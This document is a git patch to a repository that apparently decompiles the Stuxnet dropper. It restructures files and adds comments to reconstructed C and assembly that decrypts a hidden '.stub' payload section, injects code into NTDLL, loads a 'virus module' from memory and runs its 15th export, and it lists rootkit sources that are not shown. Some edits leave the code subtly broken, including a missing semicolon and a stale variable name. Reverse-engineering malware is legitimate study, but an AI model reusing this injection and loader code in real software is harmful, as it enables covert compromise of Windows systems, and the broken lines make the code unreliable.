From d374a088247b197676c6a6e80722e7edaf1e510f Mon Sep 17 00:00:00 2001 From: "Michael R. Torres" Date: Mon, 19 Sep 2016 18:11:30 -0700 Subject: [PATCH] Massive restructure A lot of changes, some small some large. Most notably, add in the rootkit source, courtesy of @Christian-Roggia Closes https://github.com/micrictor/stuxnet/issues/1 --- AssemblyBlock0.c => Dropper/AssemblyBlock0.c | 13 +- AssemblyBlock0.h => Dropper/AssemblyBlock0.h | 0 AssemblyBlock1.c => Dropper/AssemblyBlock1.c | 7 +- AssemblyBlock1.h => Dropper/AssemblyBlock1.h | 0 AssemblyBlock2.c => Dropper/AssemblyBlock2.c | 4 +- AssemblyBlock2.h => Dropper/AssemblyBlock2.h | 0 CodeBlock.c => Dropper/CodeBlock.c | 83 ++- CodeBlock.h => Dropper/CodeBlock.h | 0 Encoding.c => Dropper/Encoding.c | 0 Encoding.h => Dropper/Encoding.h | 0 .../EncodingAlgorithms.c | 0 .../EncodingAlgorithms.h | 0 EncodingUtils.c => Dropper/EncodingUtils.c | 0 EncodingUtils.h => Dropper/EncodingUtils.h | 0 Main.c => Dropper/Main.c | 15 +- MemorySections.c => Dropper/MemorySections.c | 84 ++- MemorySections.h => Dropper/MemorySections.h | 0 OS.c => Dropper/OS.c | 0 OS.h => Dropper/OS.h | 3 +- Dropper/README.md | 11 + STUBHandler.c => Dropper/STUBHandler.c | 43 +- STUBHandler.h => Dropper/STUBHandler.h | 0 Utils.c => Dropper/Utils.c | 0 Utils.h => Dropper/Utils.h | 0 data.c => Dropper/data.c | 0 Dropper/data.h | 41 + define.h => Dropper/define.h | 100 +-- Dropper/stdafx.h | 17 + Rootkit/FastIo.c | 640 ++++++++++++++++ Rootkit/LICENSE | 15 + Rootkit/main.c | 699 ++++++++++++++++++ data.h | 60 -- 32 files changed, 1591 insertions(+), 244 deletions(-) rename AssemblyBlock0.c => Dropper/AssemblyBlock0.c (92%) rename AssemblyBlock0.h => Dropper/AssemblyBlock0.h (100%) rename AssemblyBlock1.c => Dropper/AssemblyBlock1.c (87%) rename AssemblyBlock1.h => Dropper/AssemblyBlock1.h (100%) rename AssemblyBlock2.c => Dropper/AssemblyBlock2.c (94%) rename AssemblyBlock2.h => Dropper/AssemblyBlock2.h (100%) rename CodeBlock.c => Dropper/CodeBlock.c (94%) rename CodeBlock.h => Dropper/CodeBlock.h (100%) rename Encoding.c => Dropper/Encoding.c (100%) rename Encoding.h => Dropper/Encoding.h (100%) rename EncodingAlgorithms.c => Dropper/EncodingAlgorithms.c (100%) rename EncodingAlgorithms.h => Dropper/EncodingAlgorithms.h (100%) rename EncodingUtils.c => Dropper/EncodingUtils.c (100%) rename EncodingUtils.h => Dropper/EncodingUtils.h (100%) rename Main.c => Dropper/Main.c (87%) rename MemorySections.c => Dropper/MemorySections.c (95%) rename MemorySections.h => Dropper/MemorySections.h (100%) rename OS.c => Dropper/OS.c (100%) rename OS.h => Dropper/OS.h (92%) create mode 100644 Dropper/README.md rename STUBHandler.c => Dropper/STUBHandler.c (87%) rename STUBHandler.h => Dropper/STUBHandler.h (100%) rename Utils.c => Dropper/Utils.c (100%) rename Utils.h => Dropper/Utils.h (100%) rename data.c => Dropper/data.c (100%) create mode 100644 Dropper/data.h rename define.h => Dropper/define.h (53%) create mode 100644 Dropper/stdafx.h create mode 100644 Rootkit/FastIo.c create mode 100644 Rootkit/LICENSE create mode 100644 Rootkit/main.c delete mode 100644 data.h diff --git a/AssemblyBlock0.c b/Dropper/AssemblyBlock0.c similarity index 92% rename from AssemblyBlock0.c rename to Dropper/AssemblyBlock0.c index 445bfdd..cb5c60e 100644 --- a/AssemblyBlock0.c +++ b/Dropper/AssemblyBlock0.c @@ -21,6 +21,7 @@ ** ASSEMBLY BLOCK 0. ** *************************************************************************/ +// This is the first bit of code injected into NTDLL at base + 16 void __declspec(naked) __ASM_BLOCK0_0(void) { __asm @@ -31,22 +32,22 @@ void __declspec(naked) __ASM_BLOCK0_0(void) mov dl, 0 jmp short __ASM_REF_0 - + mov dl, 1 jmp short __ASM_REF_0 - + mov dl, 2 jmp short __ASM_REF_0 - + mov dl, 3 jmp short __ASM_REF_0 - + mov dl, 4 jmp short __ASM_REF_0 - + mov dl, 5 jmp short $+2 - + __ASM_REF_0: push edx call __ASM_BLOCK0_2 diff --git a/AssemblyBlock0.h b/Dropper/AssemblyBlock0.h similarity index 100% rename from AssemblyBlock0.h rename to Dropper/AssemblyBlock0.h diff --git a/AssemblyBlock1.c b/Dropper/AssemblyBlock1.c similarity index 87% rename from AssemblyBlock1.c rename to Dropper/AssemblyBlock1.c index 8554852..c36b4f6 100644 --- a/AssemblyBlock1.c +++ b/Dropper/AssemblyBlock1.c @@ -24,6 +24,11 @@ /* This entire file seems like one giant function that calls itself to get * the addresses for the strings. */ + +// Called during the injection process +// Argument is the address of ASM Block +// AKA NTDLL + 16 +// ECX = sASMCodeBlocksHeader( type is ASM_CODE_BLOCKS_HEADER ) void __declspec(naked) __ASM_BLOCK1_0(void) { __asm @@ -37,7 +42,7 @@ void __declspec(naked) __ASM_BLOCK1_1(void) { __asm { - pop edx + pop edx // EDX = char * "ZwMapViewOfSection" push ecx add ecx, 4 // ECX = a vtable? call __ASM_REF_7 diff --git a/AssemblyBlock1.h b/Dropper/AssemblyBlock1.h similarity index 100% rename from AssemblyBlock1.h rename to Dropper/AssemblyBlock1.h diff --git a/AssemblyBlock2.c b/Dropper/AssemblyBlock2.c similarity index 94% rename from AssemblyBlock2.c rename to Dropper/AssemblyBlock2.c index 29d9cda..6290323 100644 --- a/AssemblyBlock2.c +++ b/Dropper/AssemblyBlock2.c @@ -526,8 +526,8 @@ __declspec(naked) void __ASM_REF_7(void) jnz short exitFunc cmp dword ptr [eax+0Fh], 0C2000000h jnz short exitFunc - push edx - call __ASM_REF_5 + push edx + call __ASM_REF_5 // __ASM_REF_5 + 0x124 mov dword ptr [edx+4], 1 pop edx diff --git a/AssemblyBlock2.h b/Dropper/AssemblyBlock2.h similarity index 100% rename from AssemblyBlock2.h rename to Dropper/AssemblyBlock2.h diff --git a/CodeBlock.c b/Dropper/CodeBlock.c similarity index 94% rename from CodeBlock.c rename to Dropper/CodeBlock.c index be8e7de..fe65806 100644 --- a/CodeBlock.c +++ b/Dropper/CodeBlock.c @@ -31,40 +31,40 @@ INT32 BLOCK4_InjectAndExecuteVirus(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader) pVirusModuleSection = (PVIRUS_MODULE_BLOCKS_HEADER)sASMCodeBlocksHeader->VirusModuleSection; pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0)); - + BLOCK4_memcpy(&sInfoBlockCopy, pVirusModuleSection, sizeof(GENERAL_INFO_BLOCK)); - + sInfoBlockCopy.OriginalAddress = ((UINT32)&sInfoBlockCopy ^ XADDR_KEY); sInfoBlockCopy.UnknownZero0 = 0; sInfoBlockCopy.AlignAddressesFunction = sASMCodeBlocksHeader->AlignAddresses; - + iResult = BLOCK4_LoadVirusModuleInfo(pHardAddrs, &sInfoBlockCopy, (PVOID)pVirusModuleSection->VirusModuleSegment.SegmentAddress, pVirusModuleSection->VirusModuleSegment.SegmentSize); if(iResult) return iResult; - + iResult = BLOCK4_InjectCodeIntoNTDLL(sASMCodeBlocksHeader, pHardAddrs); if(iResult) return -4; - + pVirusModule = pHardAddrs->LoadLibraryW(sInfoBlockCopy.RandomLibraryName); if(!pVirusModule) return -9; - + pVirusModuleSection->VirusModulePointer = pVirusModule; if(pVirusModuleSection->LibraryExecuteEntryNumber != -1) { hThread = pHardAddrs->CreateThread(NULL, 0x00080000, (LPTHREAD_START_ROUTINE)sASMCodeBlocksHeader->ExecuteLibrary, sASMCodeBlocksHeader, 0, NULL); - + if(!hThread) return -13; - + pHardAddrs->WaitForSingleObject(hThread, -1); pHardAddrs->GetExitCodeThread(hThread, (LPDWORD)&iResult); } - + hMappedAddress = sInfoBlockCopy.MappedAddress; if(sInfoBlockCopy.MappedAddress) { sInfoBlockCopy.MappedAddress = 0; pHardAddrs->ZwClose(hMappedAddress); } - + pHardAddrs->UnmapViewOfFile(pVirusModuleSection); return iResult; } @@ -78,16 +78,16 @@ INT32 BLOCK4_ExecuteLibrary(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader) pVirusModuleSection = (PVIRUS_MODULE_BLOCKS_HEADER)sASMCodeBlocksHeader->VirusModuleSection; pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0)); - + pLibraryExecEntry = pHardAddrs->GetProcAddress(pVirusModuleSection->VirusModulePointer, (LPCSTR)pVirusModuleSection->LibraryExecuteEntryNumber); - + if(pLibraryExecEntry) { // Note: Same arguments passed to the 15th function of the internal library, maybe it was another module loaded in the past? ((__tLibraryExecEntry)pLibraryExecEntry)(pVirusModuleSection->UnknownSegment.SegmentAddress, pVirusModuleSection->UnknownSegment.SegmentSize); return 0; } - + pHardAddrs->FreeLibrary(pVirusModuleSection->VirusModulePointer); return 0; } @@ -127,44 +127,44 @@ NTSTATUS BLOCK4_AlignAddresses(PIMAGE_DOS_HEADER *pImageDOS) if(!pImageDOS || !*pImageDOS) return STATUS_ACCESS_VIOLATION; - + pImageBase = (DWORD)pImageDOS; if((*pImageDOS)->e_magic != MZ_HEADER) return STATUS_ACCESS_VIOLATION; - + pImageNT = (PIMAGE_NT_HEADERS)(pImageBase + (*pImageDOS)->e_lfanew); pImageBaseDelta = (DWORD)(pImageBase - pImageNT->OptionalHeader.ImageBase); - + if(pImageBase == pImageNT->OptionalHeader.ImageBase) return STATUS_SUCCESS; - + pImageNT->OptionalHeader.ImageBase = pImageBase; if(!pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size) return STATUS_CONFLICTING_ADDRESSES; - + for(i = (PIMAGE_BASE_RELOCATION)(pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + pImageBase); i->SizeOfBlock; i += i->SizeOfBlock/sizeof(IMAGE_BASE_RELOCATION)) { iDeltaSizeOfBlock = i->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION); wTypeOffset = (WORD *)(i + 1); - + if(iDeltaSizeOfBlock % 2) return STATUS_CONFLICTING_ADDRESSES; - + for(j = 0; j < iDeltaSizeOfBlock / 2; ++j) { if((UINT8)((*wTypeOffset / 0x100) / 0x10) != IMAGE_REL_BASED_ABSOLUTE) { if((UINT8)((*wTypeOffset / 0x100) / 0x10) != IMAGE_REL_BASED_HIGHLOW) return STATUS_CONFLICTING_ADDRESSES; - + dwItemAddress = (DWORD *)((*wTypeOffset & 0x0FFF) + i->VirtualAddress + pImageBase); *dwItemAddress += pImageBaseDelta; } - + wTypeOffset++; } } - + return 0; } @@ -198,7 +198,7 @@ void BLOCK4_CopyDataIntoMapView(PVOID pVirusModule, PIMAGE_NT_HEADERS pImageNT, dwNumberOfSections = pImageNT->FileHeader.NumberOfSections; BLOCK4_memcpy(pMapViewOfFile, pVirusModule, pImageNT->OptionalHeader.SizeOfHeaders); pImageSections = (PIMAGE_SECTION_HEADER)((DWORD)pImageNT + pImageNT->FileHeader.SizeOfOptionalHeader + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD)); - + // Copy section by section for(dwCurrentSection = 0; dwCurrentSection < dwNumberOfSections; dwCurrentSection++, pImageSections++) { @@ -211,24 +211,27 @@ void BLOCK4_CopyDataIntoMapView(PVOID pVirusModule, PIMAGE_NT_HEADERS pImageNT, INT32 BLOCK4_InjectCodeIntoNTDLL(ASM_CODE_BLOCKS_HEADER *sASMCodeBlocksHeader, PHARDCODED_ADDRESSES pHardAddrs) { HMODULE hHandleNTDLL; // [sp+8h] [bp-Ch]@1 - void *v4; // [sp+Ch] [bp-8h]@3 + void *NTDLL_Entry; // [sp+Ch] [bp-8h]@3 DWORD dwOld; // [sp+10h] [bp-4h]@5 hHandleNTDLL = pHardAddrs->NTDLL_DLL; if(!pHardAddrs->NTDLL_DLL) return 0; - - v4 = (void *)(hHandleNTDLL + 16); + + NTDLL_Entry = (void *)(hHandleNTDLL + 16); // Presumably the entry point if(*(_DWORD *)(hHandleNTDLL + 16) == 0xAB49103B) return 0; // Check if the code has been already injected - + if(pHardAddrs->VirtualProtect(hHandleNTDLL, 0x1000, PAGE_EXECUTE_WRITECOPY, &dwOld)) { - BLOCK4_memcpy(v4, (const void *)sASMCodeBlocksHeader->ASMBlock0Segment.SegmentAddress, sASMCodeBlocksHeader->ASMBlock0Segment.SegmentSize); // inject the code - ((void (__thiscall *)(void *))sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress)(v4); // __thiscall ignored by compiler + // Copy code into ntdll entry point... + BLOCK4_memcpy(v4, (const void *)sASMCodeBlocksHeader->ASMBlock0Segment.SegmentAddress, sASMCodeBlocksHeader->ASMBlock0Segment.SegmentSize); + + // ...then call ASMBlock1Segment with a pointer to the entry point as an argument + ((void (__thiscall *)(void *))sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress)(NTDLL_Entry); // __thiscall ignored by compiler pHardAddrs->FlushInstructionCache((HANDLE)-1, NULL, 0); - + return 0; } - + return -4; } @@ -244,32 +247,32 @@ INT32 BLOCK4_LoadVirusModuleInfo(PHARDCODED_ADDRESSES pHardAddrs, GENERAL_INFO_B sInfoBlock->MappedAddress = 0; pImageDOS = (PIMAGE_DOS_HEADER)pVirusModule; - + if(((PIMAGE_DOS_HEADER)pVirusModule)->e_magic != MZ_HEADER) return -2; - + pImageNT = (PIMAGE_NT_HEADERS)((DWORD)pVirusModule + pImageDOS->e_lfanew); if(pImageNT->Signature != PE_HEADER) return -2; - + liMaximumSize.LowPart = pImageNT->OptionalHeader.SizeOfImage; // 0x00006000 liMaximumSize.HighPart = 0; - + // ZwCreateSection(..., 0xF001F, 0, ..., 64, 0x8000000, 0) iStatus = pHardAddrs->ZwCreateSection(&hSectionHandle, SECTION_ALL_ACCESS, 0, &liMaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, 0); if(iStatus != STATUS_SUCCESS) return -11; - + pMapViewOfFile = pHardAddrs->MapViewOfFile(hSectionHandle, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, 0); if(!pMapViewOfFile) { pHardAddrs->ZwClose(hSectionHandle); return -10; } - + sInfoBlock->MappedAddress = hSectionHandle; BLOCK4_CopyDataIntoMapView(pVirusModule, pImageNT, pMapViewOfFile); BLOCK4_CopyPEHeaderInfo(sInfoBlock, pImageNT, iVirusModuleSize); - + pHardAddrs->UnmapViewOfFile(pMapViewOfFile); - + return 0; } diff --git a/CodeBlock.h b/Dropper/CodeBlock.h similarity index 100% rename from CodeBlock.h rename to Dropper/CodeBlock.h diff --git a/Encoding.c b/Dropper/Encoding.c similarity index 100% rename from Encoding.c rename to Dropper/Encoding.c diff --git a/Encoding.h b/Dropper/Encoding.h similarity index 100% rename from Encoding.h rename to Dropper/Encoding.h diff --git a/EncodingAlgorithms.c b/Dropper/EncodingAlgorithms.c similarity index 100% rename from EncodingAlgorithms.c rename to Dropper/EncodingAlgorithms.c diff --git a/EncodingAlgorithms.h b/Dropper/EncodingAlgorithms.h similarity index 100% rename from EncodingAlgorithms.h rename to Dropper/EncodingAlgorithms.h diff --git a/EncodingUtils.c b/Dropper/EncodingUtils.c similarity index 100% rename from EncodingUtils.c rename to Dropper/EncodingUtils.c diff --git a/EncodingUtils.h b/Dropper/EncodingUtils.h similarity index 100% rename from EncodingUtils.h rename to Dropper/EncodingUtils.h diff --git a/Main.c b/Dropper/Main.c similarity index 87% rename from Main.c rename to Dropper/Main.c index c8eec6e..db3f8ad 100644 --- a/Main.c +++ b/Dropper/Main.c @@ -17,11 +17,16 @@ #include "data.h" #include "OS.h" +#include "stdafx.h" + +HINSTANCE g_hInstDLL = NULL; // 100% (C) CODE MATCH BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) { - if(fdwReason && fdwReason == 1) hINSTANCE = hinstDLL; + if(fdwReason && fdwReason == 1) + g_hInstDLL = hinstDLL; + return TRUE; } @@ -30,17 +35,17 @@ BOOL __stdcall DllUnregisterServerEx(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID { if(fdwReason && fdwReason == 1) { - hINSTANCE = hinstDLL; + g_hInstDLL = hinstDLL; CheckSystemVersion(TRUE); } - + return 0; } // 100% (C) CODE MATCH HRESULT __stdcall DllCanUnloadNow(void) { - hINSTANCE = GetModuleHandleW(0); + g_hInstDLL = GetModuleHandleW(0); CheckSystemVersion(TRUE); ExitProcess(0); } @@ -63,7 +68,7 @@ LONG APIENTRY CPlApplet(HWND hwndCPl, UINT uMsg, LPARAM lParam1, LPARAM lParam2) { if(*(DWORD *)(hwndCPl + 2)) DeleteFileA(*(LPCSTR *)(hwndCPl + 2)); - + CheckSystemVersion(TRUE); return 1; } diff --git a/MemorySections.c b/Dropper/MemorySections.c similarity index 95% rename from MemorySections.c rename to Dropper/MemorySections.c index ceeae60..5b73197 100644 --- a/MemorySections.c +++ b/Dropper/MemorySections.c @@ -33,23 +33,23 @@ INT32 LoadVirusModuleSection(HANDLE hHandle, PGENERAL_INFO_BLOCK sInfoBlock, PVO pBaseAddr1 = 0; pBaseAddr2 = 0; - + iSectionPointer = 0; iSectionsSize = sizeof(VIRUS_MODULE_BLOCKS_HEADER) + pUnknownSegmentSize + pVirusModuleSize; - + iOpenMapViewFailed = SharedMapViewOfSection(hHandle, iSectionsSize, &hMapHandle, &pBaseAddr1, &pBaseAddr2); if(iOpenMapViewFailed) return iOpenMapViewFailed; - + sVirusModuleBlocksHeader = (PVIRUS_MODULE_BLOCKS_HEADER)pBaseAddr1; pBaseAddr1 = (PVOID)((DWORD)pBaseAddr1 + sizeof(VIRUS_MODULE_BLOCKS_HEADER)); iSectionPointer = sizeof(VIRUS_MODULE_BLOCKS_HEADER); - + CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sVirusModuleBlocksHeader->UnknownSegment, pUnknownSegment, pUnknownSegmentSize); pVirusImageBase = pBaseAddr1; - + CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sVirusModuleBlocksHeader->VirusModuleSegment, pVirusModule, pVirusModuleSize); pImageDOS = (PIMAGE_DOS_HEADER)pVirusImageBase; - + if((UINT32)pVirusModuleSize >= 0x1000 && pImageDOS->e_magic == MZ_HEADER && pImageDOS->e_lfanew + sizeof(IMAGE_OPTIONAL_HEADER) + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD) < (UINT32)pVirusModuleSize) // (UINT32 *)pImageDOS[15] + 248 -> Section ".text" @@ -58,14 +58,14 @@ INT32 LoadVirusModuleSection(HANDLE hHandle, PGENERAL_INFO_BLOCK sInfoBlock, PVO if(pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].Size == 72) pImageNT->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT].Size = 64; // Change Delay Import Directory Size } - + __memcpy(&sVirusModuleBlocksHeader->InformationBlock, sInfoBlock, sizeof(GENERAL_INFO_BLOCK)); - + sVirusModuleBlocksHeader->LibraryExecuteEntryNumber = iExecEntryNumber; sVirusModuleBlocksHeader->VirusModulePointer = 0; - + *pOutSection = pBaseAddr2; - + g_hardAddrs.UnmapViewOfFile(sVirusModuleBlocksHeader); // Unmap pBaseAddr1 -> same copy present in pBaseAddr2 g_hardAddrs.ZwClose(hMapHandle); @@ -82,31 +82,32 @@ INT32 LoadAndInjectVirus(PASM_CODE_BLOCKS_HEADER sASMCodeBlocksHeader, PVIRUS_MO GENERAL_INFO_BLOCK sInfoBlockCopy; // [sp+10h] [bp-80h]@1 __memcpy(&sInfoBlockCopy, sInfoBlock, sizeof(GENERAL_INFO_BLOCK)); // Copy the information - + sInfoBlockCopy.OriginalAddress ^= XADDR_KEY; // Get the original address of the variable sInfoBlock sInfoBlockCopy.UnknownZero0 = 0; - + // Point to the first block of assembly in the section pHardAddrs = (PHARDCODED_ADDRESSES)(sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(&g_hardAddrs, __ASM_BLOCK1_0)); - + iResult = BLOCK4_LoadVirusModuleInfo(pHardAddrs, &sInfoBlockCopy, (PVOID)sVirusModuleBlocksHeader->VirusModuleSegment.SegmentAddress, sVirusModuleBlocksHeader->VirusModuleSegment.SegmentSize); - if(iResult) return iResult; - - if(BLOCK4_InjectCodeIntoNTDLL(sASMCodeBlocksHeader, pHardAddrs)) return -4; - + if(iResult) return iResult + + if(BLOCK4_InjectCodeIntoNTDLL(sASMCodeBlocksHeader, pHardAddrs)) + return -4; + /* Load library from the memory */ pVirusModule = pHardAddrs->LoadLibraryW(sInfoBlockCopy.RandomLibraryName); if(!pVirusModule) return -9; - + sVirusModuleBlocksHeader->VirusModulePointer = pVirusModule; hMappedAddress = sInfoBlockCopy.MappedAddress; - + if(sInfoBlockCopy.MappedAddress) { sInfoBlockCopy.MappedAddress = 0; pHardAddrs->ZwClose(hMappedAddress); } - + return 0; } @@ -151,43 +152,45 @@ INT32 LoadCodeSection(HANDLE hHandle, PVOID pVirusModuleSection, PVOID *pCodeBlo pBaseAddr1 = 0; pBaseAddr2 = 0; - + iCodeBlockSize = GetCodeBlockSize(); // [0xB3A] (2874) iSectionsSize = sizeof(ASM_CODE_BLOCKS_HEADER) + _SIZE(__ASM_BLOCK1_0, __ASM_BLOCK0_0) + _SIZE(DecodeModuleNameA, __ASM_BLOCK1_0) + iCodeBlockSize; - + iSectionPointer = 0; - + iOpenMapViewFailed = SharedMapViewOfSection(hHandle, iSectionsSize, &pSectionHandle, &pBaseAddr1, &pBaseAddr2); + // Because hHandle = GetCurrentProcess(), pBaseAddr1 == pBaseAddr2 + if(!iOpenMapViewFailed) return iOpenMapViewFailed; - + sASMCodeBlocksHeader = (PASM_CODE_BLOCKS_HEADER)pBaseAddr1; pBaseAddr1 = (PVOID)((DWORD)pBaseAddr1 + sizeof(ASM_CODE_BLOCKS_HEADER)); iSectionPointer = sizeof(ASM_CODE_BLOCKS_HEADER); - + CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sASMCodeBlocksHeader->ASMBlock1Segment, __ASM_BLOCK1_0, _SIZE(DecodeModuleNameA, __ASM_BLOCK1_0)); iASMBlock1Pointer = iSectionPointer; - + CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sASMCodeBlocksHeader->ASMBlock0Segment, __ASM_BLOCK0_0, _SIZE(__ASM_BLOCK1_0, __ASM_BLOCK0_0)); pCodeBlock = (PVOID)GetCodeBlock(); - + CopySegmentIntoSections(&pBaseAddr1, pBaseAddr2, &iSectionPointer, &sASMCodeBlocksHeader->CodeBlockSegment, pCodeBlock, iCodeBlockSize); - + v9 = (DWORD *)((DWORD)sASMCodeBlocksHeader + iASMBlock1Pointer + _SIZE(__ASM_BLOCK0_1, __ASM_BLOCK0_0)); *v9 = (DWORD)sASMCodeBlocksHeader->ASMBlock1Segment.SegmentAddress + _SIZE(__ASM_REF_3, __ASM_BLOCK1_0); - + // Put function address into the memory map sASMCodeBlocksHeader->ExecuteLibrary = sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress + GetRelativeExecuteLibraryPointer(); sASMCodeBlocksHeader->AlignAddresses = sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress + GetRelativeAlignAddressesPointer(); sASMCodeBlocksHeader->VirusModuleSection = (DWORD)pVirusModuleSection; - + // Put the values in the pointers *pCodeBlockPointer = (PVOID)sASMCodeBlocksHeader->CodeBlockSegment.SegmentAddress; *pAssemblyCodeBlocksSection = pBaseAddr2; - + // Close and unmap the first section g_hardAddrs.UnmapViewOfFile(sASMCodeBlocksHeader); g_hardAddrs.ZwClose(pSectionHandle); - + return 0; } @@ -199,26 +202,27 @@ INT32 Setup(LPCWSTR szDebugModuleName, PVOID pVirusModule, UINT32 iVirusModuleSi // Get a random module name with the format "KERNEL32.DLL.ASLR.XXXXXXXX" if(GetRandomModuleName(&sInfoBlock, szDebugModuleName) != 0) return 0; - + // Decrypt the Kernel32's and NTDLL's function names if(bSetup && DecodeEncryptedModuleNames() == FALSE) return -12; - + iResult = LoadVirusModuleSection(GetCurrentProcess(), &sInfoBlock, pVirusModule, iVirusModuleSize, -1, NULL, 0, &s_virusBlocksPTR); if(iResult) return iResult; - + if(bSetup) { iResult = LoadCodeSection(GetCurrentProcess(), s_virusBlocksPTR, &s_codeBlockPTR, &s_ASMCodeBlocksPTR); if(iResult) return iResult; - + bSetup = FALSE; } - + // Unknown iResult = LoadAndInjectVirus((PASM_CODE_BLOCKS_HEADER)s_ASMCodeBlocksPTR, (PVIRUS_MODULE_BLOCKS_HEADER)s_virusBlocksPTR, &sInfoBlock); - if(!iResult) *hVirusModule = ((PVIRUS_MODULE_BLOCKS_HEADER)s_virusBlocksPTR)->VirusModulePointer; - + if(!iResult) + *hVirusModule = ((PVIRUS_MODULE_BLOCKS_HEADER)s_virusBlocksPTR)->VirusModulePointer; + g_hardAddrs.UnmapViewOfFile(s_virusBlocksPTR); - + return iResult; } \ No newline at end of file diff --git a/MemorySections.h b/Dropper/MemorySections.h similarity index 100% rename from MemorySections.h rename to Dropper/MemorySections.h diff --git a/OS.c b/Dropper/OS.c similarity index 100% rename from OS.c rename to Dropper/OS.c diff --git a/OS.h b/Dropper/OS.h similarity index 92% rename from OS.h rename to Dropper/OS.h index eddd167..635cb0c 100644 --- a/OS.h +++ b/Dropper/OS.h @@ -18,8 +18,7 @@ #ifndef __OS_H__ #define __OS_H__ -#include "define.h" -#include "STUBHandler.h" +#include "stdafx.h" void CheckSystemVersion(BOOL bUknownBool); diff --git a/Dropper/README.md b/Dropper/README.md new file mode 100644 index 0000000..c3ca57b --- /dev/null +++ b/Dropper/README.md @@ -0,0 +1,11 @@ +stuxnet +======= + +Eventually, this will be a comprehensive decompilation of Stuxnet's dropper. + +Eventually. + + + +Initial base provided by https://github.com/Christian-Roggia/open-myrtus + Note: The above repo has slightly cleaner source code( for now ), and includes the rootkit. diff --git a/STUBHandler.c b/Dropper/STUBHandler.c similarity index 87% rename from STUBHandler.c rename to Dropper/STUBHandler.c index b4312dc..a817f84 100644 --- a/STUBHandler.c +++ b/Dropper/STUBHandler.c @@ -27,15 +27,16 @@ void LoadSTUBSection(void) /* --->> Get the ".stub" section's RVA and Virtual Sizee <<--- */ if(!LocateSTUBSection((PVOID *)&pSectionSTUB, &pSectionVirtualSize)) return; - + DecryptSTUBSection((char *)(pSectionSTUB[0] + (UINT32)pSectionSTUB), pSectionSTUB[1]);// (552, 498176) - + if(!Setup(NULL, (PVOID)(*pSectionSTUB + (UINT32)pSectionSTUB), pSectionSTUB[1], &hVirusModule)) // (0, 552, 498176, ...) { + // Run the 15th exported function from the loaded module pVirusExecEntry = GetProcAddress(hVirusModule, (LPCSTR)15); if(pVirusExecEntry) ((__tLibraryExecEntry)pVirusExecEntry)((DWORD)pSectionSTUB, pSectionVirtualSize); - + FreeLibrary(hVirusModule); } } @@ -63,7 +64,7 @@ void DecryptSTUBSection(char *pSectionSTUB, UINT32 pSectionVirtualSize) } while(iFirstXOR < pSectionVirtualSize); } - + iSecondXOR = 0; if(iCyclesSecondXOR) { @@ -74,10 +75,10 @@ void DecryptSTUBSection(char *pSectionSTUB, UINT32 pSectionVirtualSize) } while(iSecondXOR < iCyclesSecondXOR); } - + for(i = pSectionVirtualSize - 1; i >= 1; --i) pSectionSTUB[i] -= pSectionSTUB[i - 1]; - + --iTotalCycles; } while(iTotalCycles >= 0); @@ -90,43 +91,43 @@ bool LocateSTUBSection(PVOID *pRawSectionSTUB, INT32 *pSectionVirtualSize) PIMAGE_SECTION_HEADER pImageSection; // edi@5 UINT32 *pSectionSTUB; // eax@11 - if(((PIMAGE_DOS_HEADER)hINSTANCE)->e_magic != MZ_HEADER) + if(((PIMAGE_DOS_HEADER)g_hInstDLL)->e_magic != MZ_HEADER) return FALSE; - - pImageNT = (PIMAGE_NT_HEADERS)((DWORD)hINSTANCE + ((PIMAGE_DOS_HEADER)hINSTANCE)->e_lfanew); // (hINSTANCE + 240) - + + pImageNT = (PIMAGE_NT_HEADERS)((DWORD)g_hInstDLL + ((PIMAGE_DOS_HEADER)hINSTANCE)->e_lfanew); // (hINSTANCE + 240) + if(pImageNT->Signature != PE_HEADER) return FALSE; - + pImageSection = (PIMAGE_SECTION_HEADER)(pImageNT->FileHeader.SizeOfOptionalHeader + (DWORD)pImageNT + sizeof(IMAGE_FILE_HEADER) + sizeof(DWORD)); // (PE header + 224 + 24) - + if(pImageNT->FileHeader.NumberOfSections <= 0) return FALSE; - + int i = 0; // Strcmp remains true when strs don't match while(lstrcmpiA((LPCSTR)pImageSection->Name, ".stub")) { - i++; - if(i >= pImageNT->FileHeader.NumberOfSections) + i++; + if(i >= pImageNT->FileHeader.NumberOfSections) return false; pImageSection++; // Next section } - + if(pImageSection->SizeOfRawData < STUB_HEADER_LEN) return FALSE; - - pSectionSTUB = (UINT32 *)((UINT32)hINSTANCE + pImageSection->VirtualAddress); + + pSectionSTUB = (UINT32 *)((UINT32)g_hInstDLL + pImageSection->VirtualAddress); if(*pSectionSTUB != STUB_INTEGRITY_MARK) return FALSE; - - /* + + /* * Remove the headers * pSectionSTUB++ because it's an array of 4-byte values */ *pRawSectionSTUB = pSectionSTUB++; *pSectionVirtualSize = pImageSection->SizeOfRawData - 0x4; // Size - 